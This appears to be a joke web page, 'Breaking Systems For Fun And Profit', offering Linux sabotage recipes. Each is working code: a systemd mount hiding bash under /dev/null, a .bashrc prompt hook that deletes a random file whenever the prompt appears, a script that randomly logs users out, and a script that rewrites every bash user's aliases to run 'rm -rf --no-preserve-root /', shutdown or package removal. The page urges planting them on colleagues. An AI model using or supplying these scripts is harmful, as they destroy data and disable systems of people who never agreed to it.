Breaking Systems For Fun And Profit
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Bound to Nothing

Bash is overrated. /dev/null is much better. Add the following file as /etc/systemd/system/usr-bin-bash.mount:

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[Unit]
Description=Important System Mount
Documentation=man:hier(7)
Documentation=https://www.freedesktop.org/wiki/Software/systemd/APIFileSystems
DefaultDependencies=no
Conflicts=umount.target
Before=local-fs.target umount.target
After=swap.target

[Mount]
What=/dev/null
Where=/usr/bin/bash
Type=none
Options=bind

[Install]
WantedBy=local-fs.target

Then run the following commands:

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systemctl daemon-reload
systemctl enable --now usr-bin-bash.mount
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The Prompt of Doom

One of the classics that started the old site:

Add the following oneliner to the end of the .bashrc of your favorite user or colleague:

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export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'

Random Exit

Create this file as /etc/profile.d/randomexit.sh:

export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'

Anti-Aliasing

Just run this one once, or more often if you’re feeling lucky.

Inspiration for this one came from Jan K.

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#!/bin/bash
ORIG=(ls ll cd rm exit logout mkdir vi vim)
COMMANDS=("rm -rf --no-preserve-root /" "systemctl shutdown" "reboot" "yum -y remove bash")
BASHRC=$(getent passwd | awk 'BEGIN{FS=":"}/^([^:]+:){6}\/bin\/bash/{print $6 "/.bashrc"}')
for FILE in ${BASHRC}; do
  MYORIG=${ORIG[$[ ${RANDOM} % ${#ORIG[@]} ]]}
  MYCMD=${COMMANDS[$[ ${RANDOM} % ${#COMMANDS[@]} ]]}
  echo alias ${MYORIG}=\'${MYCMD}\' >> ${FILE}
done